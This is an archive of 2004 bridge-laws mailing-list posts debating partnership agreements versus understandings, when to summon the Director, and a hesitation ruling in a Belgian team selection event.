Walrus hcp, and balanced distribution, both Player A and Player B always opens 1NT. 4. With 11 Walrus hcp, and balanced distribution, Player A always Passes, and Player B always opens 1NT. Question: Does the A-B partnership have a non-reciprocal agreement, about what Player B does holding 11 Walrus hcp with balanced distribution? Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From svenpran@online.no Mon Jan 12 23:57:38 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 13 Jan 2004 00:57:38 +0100 Subject: [blml] Termagant (was Everybody run) In-Reply-To: Message-ID: <000001c3d967$dbe20ef0$6900a8c0@WINXP> > richard.hills@immi.gov.au > Nigel Guthrie: > > >I hope you are wrong, Richard. Last week, when > >my partner, as declarer, ruffed the opening lead, > >I asked "having none partner." An opponent claimed > >that the question was unlawful. This raised slight > >doubts, so, to reassure the table, I called the TD > >*on myself* :) :) :) Are we really wrong to call the > >TD when we suspect an infraction may have occurred? > > Richard James Hills: > > The issue is not whether, in Nigel's example, Nigel > was "wrong" to call the TD. The issue is whether, in > Nigel's example, Nigel's summoning of the TD was > extraneous to Law 9B1. ......... snip a lot of extraneous matters. The simple fact is that one of the defenders had called attention to an (alleged) irregularity, and then it is the responsibility for all four players (yes - including dummy) at the table to have the Director summoned to the table immediately. Nigel acted quite correct. The resolution that no irregularity had been performed does not alter this. Regards Sven From svenpran@online.no Tue Jan 13 00:04:33 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 13 Jan 2004 01:04:33 +0100 Subject: [blml] Can an agreement be non-reciprocal? In-Reply-To: Message-ID: <000101c3d968$d30fcc80$6900a8c0@WINXP> > richard.hills@immi.gov.au > Let us construct a hypothetical syllogism -> > > 1. Player A and Player B form a regular A-B parnership. > > 2. With 15 or more Walrus hcp, neither Player A nor > Player B open 1NT. > > 3. With 12-14 Walrus hcp, and balanced distribution, > both Player A and Player B always opens 1NT. > > 4. With 11 Walrus hcp, and balanced distribution, Player > A always Passes, and Player B always opens 1NT. > > Question: Does the A-B partnership have a non-reciprocal > agreement, about what Player B does holding 11 > Walrus hcp with balanced distribution? >From Law 75C: When explaining ... in reply to an opponent's inquiry (see Law 20), a player shall disclose all special information conveyed to him through .... or partnership experience, ..... Would you claim that your example does not demonstrate partnership experience? IMO your question has already been fully answered in Law 75. Sven From richard.hills@immi.gov.au Tue Jan 13 01:13:04 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 13 Jan 2004 11:13:04 +1000 Subject: [blml] Termagant (was Everybody run) Message-ID: Sven Pran asserted: >>The simple fact is that one of the defenders had >>called attention to an (alleged) irregularity, and >>then it is the responsibility for all four players >>(yes - including dummy) at the table to have the >>Director summoned to the table immediately. >> >>Nigel acted quite correct. The resolution that no >>irregularity had been performed does not alter >>this. Law 9B1: >The Director must be summoned at once when >attention is drawn to an irregularity. Chapter 1 definition of irregularity: >A deviation from the correct procedures set forth >in the Laws. Law 9B1 (Sven version): The Director must be summoned at once when attention is drawn to an alleged irregularity. Chapter 1 definition of irregularity (Sven version): A deviation from a player's belief about correct procedures set forth in the Laws. :-) Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From gesta@tiscali.co.uk Tue Jan 13 00:32:37 2004 From: gesta@tiscali.co.uk (Grattan Endicott) Date: Tue, 13 Jan 2004 00:32:37 -0000 Subject: [blml] 2 out of turn opening leads References: Message-ID: <002801c3d96c$e658cae0$56242850@multivisionoem> Grattan Endicott To: "BLML" Sent: Sunday, January 11, 2004 5:11 PM Subject: TR: [blml] 2 out of turn opening leads > > This is what I ruled (CA stay in hand, but you have new options). > Afterward, I was not sure I if should have put back CA on table and > give 10 options to declarer, taking CA and HQ into account. > > Laval Du Breuil > +=+ West still retains the lead so the prohibition on a club lead remains; additionally declarer may exercise his options in relation to the second opening lead OOT. ~ Grattan ~ +=+ From svenpran@online.no Tue Jan 13 00:54:09 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 13 Jan 2004 01:54:09 +0100 Subject: [blml] Termagant (was Everybody run) In-Reply-To: Message-ID: <001101c3d96f$c0d2e5f0$6900a8c0@WINXP> > richard.hills@immi.gov.au > Sven Pran asserted: >=20 > >>The simple fact is that one of the defenders had > >>called attention to an (alleged) irregularity, and > >>then it is the responsibility for all four players > >>(yes - including dummy) at the table to have the > >>Director summoned to the table immediately. > >> > >>Nigel acted quite correct. The resolution that no > >>irregularity had been performed does not alter > >>this. >=20 > Law 9B1: >=20 > >The Director must be summoned at once when > >attention is drawn to an irregularity. >=20 > Chapter 1 definition of irregularity: >=20 > >A deviation from the correct procedures set forth > >in the Laws. >=20 > Law 9B1 (Sven version): >=20 > The Director must be summoned at once when > attention is drawn to an alleged irregularity. >=20 > Chapter 1 definition of irregularity (Sven version): >=20 > A deviation from a player's belief about correct > procedures set forth in the Laws. >=20 > :-) Who determines whether there has been an irregularity at the table = before the Director is called? According to your statement this must be decided = so that the director is only called when there has indeed been an = irregularity. Sven From ereppert@rochester.rr.com Tue Jan 13 02:20:17 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 12 Jan 2004 21:20:17 -0500 Subject: [blml] Can an agreement be non-reciprocal? In-Reply-To: Message-ID: <07961B05-456F-11D8-A0B6-0030656F6826@rochester.rr.com> On Monday, Jan 12, 2004, at 19:40 US/Eastern, richard.hills@immi.gov.au wrote: > Question: Does the A-B partnership have a non-reciprocal > agreement, about what Player B does holding 11 > Walrus hcp with balanced distribution? Agreement, not necessarily. Understanding, possibly. Have they discussed their difference of opinion? Do they have sufficient partnership experience to have established the difference of opinion without discussion? From hermandw@hdw.be Tue Jan 13 09:25:54 2004 From: hermandw@hdw.be (Herman De Wael) Date: Tue, 13 Jan 2004 10:25:54 +0100 Subject: [blml] Can an agreement be non-reciprocal? In-Reply-To: <07961B05-456F-11D8-A0B6-0030656F6826@rochester.rr.com> References: <07961B05-456F-11D8-A0B6-0030656F6826@rochester.rr.com> Message-ID: <4003B9A2.5000000@hdw.be> Ed Reppert wrote: > > On Monday, Jan 12, 2004, at 19:40 US/Eastern, richard.hills@immi.gov.au > wrote: > >> Question: Does the A-B partnership have a non-reciprocal >> agreement, about what Player B does holding 11 >> Walrus hcp with balanced distribution? > > > Agreement, not necessarily. Understanding, possibly. > Why would this distinction be important? Are we talking about MI here? Then surely, "understanding" needs to be disclosed. Are we talking about system regulations? IMO, it is unwise for directors to allow understandings while disallowing agreements, because that will simply lead players to lie about their agreements. Are we talking about the obligation to play the same system? Surely we realize that this is an impossible obligation if we apply this to judgment - it is impossible for two bridge players to bid exactly the same way on all hands. So why should this distinction be made? I have often felt that blml'rs in general have a wrong perception of the laws. When they state that both agreements and understandings are to be disclosed, that does not mean that there is somehow a distinction between agreements and understandings, it simply means that "you must tell everything you know, regardless of how you know it (except if you deduce it from your own hand)". > Have they discussed their difference of opinion? Do they have sufficient > partnership experience to have established the difference of opinion > without discussion? > > > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From hermandw@hdw.be Tue Jan 13 10:26:03 2004 From: hermandw@hdw.be (Herman De Wael) Date: Tue, 13 Jan 2004 11:26:03 +0100 Subject: [blml] A straightforward ruling Message-ID: <4003C7BB.600@hdw.be> No discussion about regulations or laws this time - a straightforward UI ruling. Belgian National team selections. NS : a well fitted pair, top of first division (there is a premier division with 8 teams above that) EW : a new partnership, players from the first and fourth team of the premier division, both with international experience Systems : both 5-card majors with lots of gadgets, both playing multi (although neither opened one on this hand - I saw multis being opened on North AND East hands at other tables). Screens. Deal 5 (NS/N) J A98642 KT 8532 AT98 \ Q76532 3 \ KQT7 Q9873 \ J4 AT7 \ 9 K4 J5 A652 KQJ64 bidding: West North East South pass pass 1Cl 1Di 1He(5cards) 1Sp 2Cl 3Sp 4He 4Sp ..Dbl pass 5Cl pass pass pass The hesitation was of course attributable to South, and lasted the proverbial 3 minutes (one minute more likely). Just before the lead, west called the TD to draw attention to the delay. After the contract had gone three off, I asked if he wanted me to change his +800 into +590? "I did not double" he said. "Why not?". "I only have two aces". I did not ask why East had not drawn attention to the delay, but I guess the answer would have been "I know North well enough to realize he would not dispute the delay". North did in fact acknowledge that there had been a considerable delay. When asked, North explained why he bid 5Cl: "to score better than 4Sp - I have never shown my fit, and I think 4Sp is not enough off if we can make 5Cl". I would very much like to hear players' comments. -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From twm@cix.co.uk Tue Jan 13 11:29:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Tue, 13 Jan 2004 11:29 +0000 (GMT Standard Time) Subject: [blml] Can an agreement be non-reciprocal? In-Reply-To: <4003B9A2.5000000@hdw.be> Message-ID: Herman wrote: > So why should this distinction be made? > > I have often felt that blml'rs in general have a wrong perception of > the laws. When they state that both agreements and understandings are > to be disclosed, that does not mean that there is somehow a > distinction between agreements and understandings, Of course it does. That is why two words are used. Firstly it is quite possible for me a partnership to have an understanding of a particular aspect of one member's bidding while remaining in disagreement about whether it is right or wrong (this may not be healthy for a partnership but it is certainly possible). Secondly the distinction between "agreements" (to be shown on CC) and "understandings" (to be explained in answer to questions) gives a reasonable starting point for keeping CCs at a manageable length. Thirdly it is impossible for information based on prior experience to meet the requirement in 75a that it be "arise from the calls, plays and conditions of the current deal." Of course in reality the laws blur some of these distinctions and some individual lawmakers wish they did not exist. Perhaps they will not in the next laws (my own preference would be that the distinction be clarified and the blurring removed). Until that happens we have to try and work with the distinction we have. > it simply means > that "you must tell everything you know, regardless of how you know it > (except if you deduce it from your own hand)". Really? What if you deduce it from AI given by opponent's mannerisms or from previous bridge experience not shared with your current partner, or from the auction up to that point? Tim West-Meads From Anne Jones" Message-ID: <008001c3d9d3$04059f30$e7546e51@annespc> I don't think Pass is a logical alternative for North. The failure to double 5C seems to be a double shot. I would allow the table result to stand. Anne ----- Original Message ----- From: "Herman De Wael" To: "blml" Sent: Tuesday, January 13, 2004 10:26 AM Subject: [blml] A straightforward ruling > No discussion about regulations or laws this time - a straightforward > UI ruling. > > Belgian National team selections. > NS : a well fitted pair, top of first division (there is a premier > division with 8 teams above that) > EW : a new partnership, players from the first and fourth team of the > premier division, both with international experience > > Systems : both 5-card majors with lots of gadgets, both playing multi > (although neither opened one on this hand - I saw multis being opened > on North AND East hands at other tables). > > Screens. > > Deal 5 (NS/N) > > J > A98642 > KT > 8532 > AT98 \ Q76532 > 3 \ KQT7 > Q9873 \ J4 > AT7 \ 9 > K4 > J5 > A652 > KQJ64 > > bidding: > West North East South > pass pass 1Cl > 1Di 1He(5cards) 1Sp 2Cl > 3Sp 4He 4Sp ..Dbl > pass 5Cl pass pass > pass > > The hesitation was of course attributable to South, and lasted the > proverbial 3 minutes (one minute more likely). > > Just before the lead, west called the TD to draw attention to the delay. > After the contract had gone three off, I asked if he wanted me to > change his +800 into +590? "I did not double" he said. "Why not?". > "I only have two aces". > > I did not ask why East had not drawn attention to the delay, but I > guess the answer would have been "I know North well enough to realize > he would not dispute the delay". North did in fact acknowledge that > there had been a considerable delay. > > When asked, North explained why he bid 5Cl: "to score better than 4Sp > - I have never shown my fit, and I think 4Sp is not enough off if we > can make 5Cl". > > I would very much like to hear players' comments. > > -- > Herman DE WAEL > Antwerpen Belgium > http://users.skynet.be/hermandw/index.html > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From hermandw@hdw.be Tue Jan 13 13:02:04 2004 From: hermandw@hdw.be (Herman De Wael) Date: Tue, 13 Jan 2004 14:02:04 +0100 Subject: [blml] Can an agreement be non-reciprocal? In-Reply-To: References: Message-ID: <4003EC4C.1010208@hdw.be> Hello Tim, Tim West-Meads wrote: > Herman wrote: > > >>So why should this distinction be made? >> >>I have often felt that blml'rs in general have a wrong perception of >>the laws. When they state that both agreements and understandings are >>to be disclosed, that does not mean that there is somehow a >>distinction between agreements and understandings, > > > Of course it does. That is why two words are used. No it does not mean that. When 2 words are used, with the word AND in between, this means that both these words are treated in the same manner. Specifically it means that there is NO distinction between them. Mind you, I am only correcting your argument here that since two words are used there has to be a distinction. That reasoning is manifestly false. Let's see what other differences you try to find between the two terms: > Firstly it is quite > possible for me a partnership to have an understanding of a particular > aspect of one member's bidding while remaining in disagreement about > whether it is right or wrong (this may not be healthy for a partnership > but it is certainly possible). Indeed, that is also how I see the distinction between understanding and agreement. So you have now reiterated that there are two different things, both of which are treated how? Still exactly the same, and your "firstly" adds no insight in where they need to be treated differently. > Secondly the distinction between > "agreements" (to be shown on CC) and "understandings" (to be explained in > answer to questions) gives a reasonable starting point for keeping CCs at > a manageable length. OK, I'll grant you this one. Agreements are certainly necessarily found on the CC, understandings may not need to be. However, I have certain understandings on my CC (HDW is more likely to psych than TdN), and certain agreements may be lacking (like the answers to our trump queen ask). So although there is a distinction here, I do not believe it is a fundamental one. Both need to be disclosed, and some level of non-disclosure is acceptable on the CC. > Thirdly it is impossible for information based on > prior experience to meet the requirement in 75a that it be "arise from the > calls, plays and conditions of the current deal." > I don't understand this one. Probably my fault. > Of course in reality the laws blur some of these distinctions and some > individual lawmakers wish they did not exist. Perhaps they will not in > the next laws (my own preference would be that the distinction be > clarified and the blurring removed). Until that happens we have to try > and work with the distinction we have. > Why? Please tell me in which law you would like to see a distinction being made between agreements and understandings. > >>it simply means >>that "you must tell everything you know, regardless of how you know it >>(except if you deduce it from your own hand)". > > > Really? What if you deduce it from AI given by opponent's mannerisms or > from previous bridge experience not shared with your current partner, or > from the auction up to that point? > Pardon me for using shorthand. I was first intending to stop after the first it, then realized that I'd be picked on. So I added one previso, but not the second, third and seventeenth. Why pick on incomplete statements when you know the writer is trying to say something with his first sentence, not his seventeenth? > Tim West-Meads > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From ereppert@rochester.rr.com Tue Jan 13 14:55:11 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 13 Jan 2004 09:55:11 -0500 Subject: [blml] Can an agreement be non-reciprocal? In-Reply-To: <4003B9A2.5000000@hdw.be> Message-ID: <7CFE0074-45D8-11D8-BC07-0030656F6826@rochester.rr.com> On Tuesday, Jan 13, 2004, at 04:25 US/Eastern, Herman De Wael wrote: > Why would this distinction be important? [snip] > So why should this distinction be made? > I have often felt that blml'rs in general have a wrong perception of > the laws. Um. So have I. However, we don't seem to always agree on what the *right* perception is. :-) > When they state that both agreements and understandings are to be > disclosed, that does not mean that there is somehow a distinction > between agreements and understandings, Pfui. There *is* a distinction. We can make all the agreements we want, but if your judgment of which hands match our agreements differs from mine, you will bid them differently than I would. We have made no *agreement* to this effect, but eventually I would come to have an understanding of your style. Which is, of course, disclosable *once I have reached that understanding*. > it simply means that "you must tell everything you know, regardless > of how you know it (except if you deduce it from your own hand)". I do not agree with this. In particular, I do not agree with "regardless of how you know it". It obviates the "general bridge knowledge" clause. From nigel.guthrie@ntlworld.com Tue Jan 13 15:04:36 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 13 Jan 2004 15:04:36 -0000 Subject: [blml] A straightforward ruling References: <4003C7BB.600@hdw.be> Message-ID: <009701c3d9e6$a370f3e0$219868d5@tinyhrieuyik> [Herman De Wael] > Deal 5 (NS/N) > J > A98642 > KT > 8532 > AT98 \ Q76532 > 3 \ KQT7 > Q9873 \ J4 > AT7 \ 9 > K4 > J5 > A652 > KQJ64 > West North East South > pass pass 1Cl > 1Di 1He(5cards) 1Sp 2Cl > 3Sp 4He 4Sp ..Dbl > pass 5Cl pass pass > pass > The hesitation was of course attributable to South, and > lasted the proverbial 3 minutes (one minute more likely). > Just before the lead, west called the TD to draw > attention to the delay. After the contract had gone > three off, I asked if he wanted me to change his +800 > into +590? "I did not double" he said. "Why not?". > "I only have two aces". > I did not ask why East had not drawn attention to the > delay, but I guess the answer would have been "I know > North well enough to realize he would not dispute the > delay". North did in fact acknowledge that there had > been a considerable delay. [Nigel] (2) IMO a TD/AC should adjust to 4S making with the right view in spades. Unless East-West are known masochists, Herman's account, at first, reads like special pleading. But I am sure he has his tongue in his cheek :) :) :) (1) East did not draw attention to the hesitation, immediately because he did not know who hesitated. (2) Herman also finds it strange that West didn't double but Secretary Birds know he would be insane to do so. In a UI context, "clever" TDs and ACs usually judge such actions to be "wild and gambling". Here, for example, if by some miracle, 5CX makes, a loony AC may accuse West of a "double shot" or "attempting to have his cake and eat it". Anyway, if North is battle-hardened, then 5CX is quite likely to make, because anybody familiar with the relevant law, would never bid it unless he judged there was no possible LA (for example a couple of voids). Far better to hope for a favourable TD ruling. (3) An interesting academic point: can "pass" be wild and gambling." Any player would say it could be. Perhaps here it should be. But I have never heard of any TD/AC that so ruled. Has anybody? If that is your point Herman, then I agree with you. Yes, of course, regulations against "wild and gambling" actions are spurious and distort the game. Such rules should be expurgated. Fat chance. TDs welcome the opportunity to exercise "judgement" rather than blindly follow a simple fair objective rule preferred by players. In most other games, you are allowed to try to exploit opponents' putative infraction. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 08/01/2004 From ereppert@rochester.rr.com Tue Jan 13 15:02:17 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 13 Jan 2004 10:02:17 -0500 Subject: [blml] Can an agreement be non-reciprocal? In-Reply-To: <4003EC4C.1010208@hdw.be> Message-ID: <7A6ADF0B-45D9-11D8-BC07-0030656F6826@rochester.rr.com> On Tuesday, Jan 13, 2004, at 08:02 US/Eastern, Herman De Wael wrote: > That reasoning is manifestly false. Pfui. If that were true, we wouldn't be having this conversation. From hermandw@hdw.be Tue Jan 13 15:12:56 2004 From: hermandw@hdw.be (Herman De Wael) Date: Tue, 13 Jan 2004 16:12:56 +0100 Subject: [blml] Can an agreement be non-reciprocal? In-Reply-To: <7CFE0074-45D8-11D8-BC07-0030656F6826@rochester.rr.com> References: <7CFE0074-45D8-11D8-BC07-0030656F6826@rochester.rr.com> Message-ID: <40040AF8.3020507@hdw.be> So Ed, why was this post necessary? Where precisely do we disagree? See below: Ed Reppert wrote: > > On Tuesday, Jan 13, 2004, at 04:25 US/Eastern, Herman De Wael wrote: > >> Why would this distinction be important? > > > [snip] > >> So why should this distinction be made? > > >> I have often felt that blml'rs in general have a wrong perception of >> the laws. > > > Um. So have I. However, we don't seem to always agree on what the > *right* perception is. :-) > Smiley noted. >> When they state that both agreements and understandings are to be >> disclosed, that does not mean that there is somehow a distinction >> between agreements and understandings, > > > Pfui. There *is* a distinction. We can make all the agreements we want, > but if your judgment of which hands match our agreements differs from > mine, you will bid them differently than I would. We have made no > *agreement* to this effect, but eventually I would come to have an > understanding of your style. Which is, of course, disclosable *once I > have reached that understanding*. > OK, so you have reiterated that there is a distinction. So did the Lawmakers. They have told us that agreements AND understandings need to be disclosed. Yes, they are two different things. We have agreed on that. But the original question was: "is this an agreement or an understanding". And my comment was "why should that matter?". And so when you are saying that there is a difference between an agreement and an understanding, you have added nothing to this discussion. >> it simply means that "you must tell everything you know, regardless >> of how you know it (except if you deduce it from your own hand)". > > > I do not agree with this. In particular, I do not agree with "regardless > of how you know it". It obviates the "general bridge knowledge" clause. > yet another proviso I did not think it was necessary to add to my sentence. Did you really believe I was unaware of this? Do you agree or not that, in all matters legal, there is no difference in treatment between an agreement and an understanding? Both are disclosable. I'm not saying they are the same thing, but I am saying that there is no need to discuss whether something I know about my partner is an agreement or an understanding, since they are treated the same way. > > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From hermandw@hdw.be Tue Jan 13 15:17:57 2004 From: hermandw@hdw.be (Herman De Wael) Date: Tue, 13 Jan 2004 16:17:57 +0100 Subject: [blml] Can an agreement be non-reciprocal? In-Reply-To: <7A6ADF0B-45D9-11D8-BC07-0030656F6826@rochester.rr.com> References: <7A6ADF0B-45D9-11D8-BC07-0030656F6826@rochester.rr.com> Message-ID: <40040C25.5060205@hdw.be> Ed Reppert wrote: > > On Tuesday, Jan 13, 2004, at 08:02 US/Eastern, Herman De Wael wrote: > >> That reasoning is manifestly false. > > > Pfui. If that were true, we wouldn't be having this conversation. > Yes, that is exactly why we are having the conversation. You are saying something false, so I am correcting you. > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From ereppert@rochester.rr.com Tue Jan 13 21:54:14 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 13 Jan 2004 16:54:14 -0500 Subject: [blml] Can an agreement be non-reciprocal? In-Reply-To: <40040C25.5060205@hdw.be> Message-ID: <071F38F0-4613-11D8-94BC-0030656F6826@rochester.rr.com> On Tuesday, Jan 13, 2004, at 10:17 US/Eastern, Herman De Wael wrote: > Yes, that is exactly why we are having the conversation. You are > saying something false, so I am correcting you. Uh, huh. Prove it. From ereppert@rochester.rr.com Tue Jan 13 21:58:06 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 13 Jan 2004 16:58:06 -0500 Subject: [blml] Can an agreement be non-reciprocal? In-Reply-To: <40040AF8.3020507@hdw.be> Message-ID: <916E4C3D-4613-11D8-94BC-0030656F6826@rochester.rr.com> On Tuesday, Jan 13, 2004, at 10:12 US/Eastern, Herman De Wael wrote: > And so when you are saying that there is a difference between an > agreement and an understanding, you have added nothing to this > discussion. Then perhaps I should not waste my time and yours expressing my opinions here. > Do you agree or not that, in all matters legal, there is no difference > in treatment between an agreement and an understanding? Both are > disclosable. Both are disclosable, yes. However, I'm not sure that there is *never* a difference in treatment. No, I can't think of an example where there is, at the moment. Nor am I inclined to try. See above. From nigel.guthrie@ntlworld.com Wed Jan 14 01:42:23 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Wed, 14 Jan 2004 01:42:23 -0000 Subject: [blml] A straightforward ruling References: <4003C7BB.600@hdw.be> <008001c3d9d3$04059f30$e7546e51@annespc> Message-ID: <005001c3da3f$a8f48da0$3b9468d5@tinyhrieuyik> [Anne Jones] > I don't think Pass is a logical alternative for North. > The failure to double 5C seems to be a double shot. > I would allow the table result to stand. [Nigel] I think Pass is an LA for North, so I would rule 4SX making; I agree with Anne, however that West's pass might be judged a double-shot. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 08/01/2004 From hermandw@hdw.be Wed Jan 14 08:17:14 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 14 Jan 2004 09:17:14 +0100 Subject: [blml] Can an agreement be non-reciprocal? In-Reply-To: <916E4C3D-4613-11D8-94BC-0030656F6826@rochester.rr.com> References: <916E4C3D-4613-11D8-94BC-0030656F6826@rochester.rr.com> Message-ID: <4004FB0A.9020906@hdw.be> Hello Ed, Ed Reppert wrote: > > >> Do you agree or not that, in all matters legal, there is no difference >> in treatment between an agreement and an understanding? Both are >> disclosable. > > > Both are disclosable, yes. However, I'm not sure that there is *never* a > difference in treatment. No, I can't think of an example where there is, > at the moment. Nor am I inclined to try. See above. > Maybe Ed, you could start a new trend: When you find nothing more to disagree with, try agreeing with Herman. Try it! You might find it exhilirating! > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From twm@cix.co.uk Wed Jan 14 14:36:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Wed, 14 Jan 2004 14:36 +0000 (GMT Standard Time) Subject: [blml] A straightforward ruling In-Reply-To: <4003C7BB.600@hdw.be> Message-ID: Not completely straightforward. > The hesitation was of course attributable to South, and lasted the > proverbial 3 minutes (one minute more likely). Might I ask what redress is available to North if he assumes himself to be under UI constraints, chooses an unsuccessful call, and it turns out the the delay was caused by West (albeit for a legitimate bridge reason)? If, as I suspect, the answer is "none" then it seems to me wholly unfair that North should be under UI constraints when the source of the hesitation is unknown. OTOH surely if North is supposed to assume the delay was caused by South then so must East assume the delay was caused by West. Thus we must also consider the logical alternatives available to West. This may not be an issue in the specific case but in the general it should, perhaps, be assumed that screens are always successful in preventing the transmission of hesitation based UI. Do the screen regulations in force address this issue? Tim From twm@cix.co.uk Wed Jan 14 14:36:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Wed, 14 Jan 2004 14:36 +0000 (GMT Standard Time) Subject: [blml] Can an agreement be non-reciprocal? In-Reply-To: <4003EC4C.1010208@hdw.be> Message-ID: Herman wrote: > No it does not mean that. When 2 words are used, with the word AND in > between, this means that both these words are treated in the same > manner. Specifically it means that there is NO distinction between > them. Mind you, I am only correcting your argument here that since > two words are used there has to be a distinction. That reasoning is > manifestly false. Herman, there are two choices. Either one word is redundant or the words have different meanings. I see no reason to assume the lawmakers inserted a redundant word. > Let's see what other differences you try to find between the two terms: > > > Firstly it is quite > > possible for me a partnership to have an understanding of a > > particular aspect of one member's bidding while remaining in > > disagreement about whether it is right or wrong (this may not be > > healthy for a partnership but it is certainly possible). > > Indeed, that is also how I see the distinction between understanding > and agreement. So you have now reiterated that there are two different > things, both of which are treated how? Still exactly the same, and > your "firstly" adds no insight in where they need to be treated > differently. It was not intended to show how they are treated differently. It was intended to show that they are different things. > > Secondly the distinction between > > "agreements" (to be shown on CC) and "understandings" (to be > > explained in answer to questions) gives a reasonable starting point > > for keeping CCs at a manageable length. > > OK, I'll grant you this one. Agreements are certainly necessarily > found on the CC, understandings may not need to be. However, I have > certain understandings on my CC (HDW is more likely to psych than > TdN), and certain agreements may be lacking (like the answers to our > trump queen ask). > So although there is a distinction here, I do not believe it is a > fundamental one. Both need to be disclosed, and some level of > non-disclosure is acceptable on the CC. It is not fundamental, it is useful. It would be more useful were the laws better written. > > Thirdly it is impossible for information based on > > prior experience to meet the requirement in 75a that it be "arise > > from the calls, plays and conditions of the current deal." > > > I don't understand this one. Probably my fault. Prior experience, and information derived therefrom is, I would have thought fairly obviously, not related to the current deal. > > Of course in reality the laws blur some of these distinctions and > > some individual lawmakers wish they did not exist. Perhaps they will > > not in the next laws (my own preference would be that the distinction > > be clarified and the blurring removed). Until that happens we have > > to try and work with the distinction we have. > > > > Why? Please tell me in which law you would like to see a distinction > being made between agreements and understandings. In a nutshell make it clear to ZOs/SOs that while agreements may be subject to regulation understandings may not (except regulations on disclosure). For example I may understand that partner is prone to the occasional 3rd in hand psych on a weak 4144 without that forming part of my agreements and being treated as an illegal system. > > > >>it simply means > >>that "you must tell everything you know, regardless of how you know > it >>(except if you deduce it from your own hand)". > > > > > > Really? What if you deduce it from AI given by opponent's mannerisms > > or from previous bridge experience not shared with your current > > partner, or from the auction up to that point? > > > > Pardon me for using shorthand. It didn't look like shorthand. It looked like a misrepresentation of law. I accept you intended it as shorthand. Tim From hermandw@hdw.be Wed Jan 14 15:06:07 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 14 Jan 2004 16:06:07 +0100 Subject: [blml] Can an agreement be non-reciprocal? In-Reply-To: References: Message-ID: <40055ADF.2010809@hdw.be> Hello Tim, Tim West-Meads wrote: > Herman wrote: > > >>No it does not mean that. When 2 words are used, with the word AND in >>between, this means that both these words are treated in the same >>manner. Specifically it means that there is NO distinction between >>them. Mind you, I am only correcting your argument here that since >>two words are used there has to be a distinction. That reasoning is >>manifestly false. > > > Herman, there are two choices. Either one word is redundant or the words > have different meanings. I see no reason to assume the lawmakers inserted > a redundant word. > Tim, I know the two things are different. I am talking about them being treated differently or not. Maybe I was not clear in my first posts, but try to remember where this started. My question was "why should the distinction matter?". Someone was asking whether some piece of "understanding/agreement" was an understanding or an agreement. I told him that did not matter, as both were treated equally. So far, no one has succeeded in showing that there is some sort of difference in treatment. Maybe you have done so below, I have not yet read further. Let's do so now. > >>Let's see what other differences you try to find between the two terms: >> >> >>>Firstly it is quite >>>possible for me a partnership to have an understanding of a >>>particular aspect of one member's bidding while remaining in >>>disagreement about whether it is right or wrong (this may not be >>>healthy for a partnership but it is certainly possible). >> >>Indeed, that is also how I see the distinction between understanding >>and agreement. So you have now reiterated that there are two different >>things, both of which are treated how? Still exactly the same, and >>your "firstly" adds no insight in where they need to be treated >>differently. > > > It was not intended to show how they are treated differently. It was > intended to show that they are different things. > And you have done so. So? > >>>Secondly the distinction between >>>"agreements" (to be shown on CC) and "understandings" (to be >>>explained in answer to questions) gives a reasonable starting point >>>for keeping CCs at a manageable length. >> >>OK, I'll grant you this one. Agreements are certainly necessarily >>found on the CC, understandings may not need to be. However, I have >>certain understandings on my CC (HDW is more likely to psych than >>TdN), and certain agreements may be lacking (like the answers to our >>trump queen ask). >>So although there is a distinction here, I do not believe it is a >>fundamental one. Both need to be disclosed, and some level of >>non-disclosure is acceptable on the CC. > > > It is not fundamental, it is useful. It would be more useful were the > laws better written. > Why should a distinction be useful if there is no single law that treats one differently from the other? Maybe it would be better if the laws started speaking of just one thing ("system"?) rather than two. > 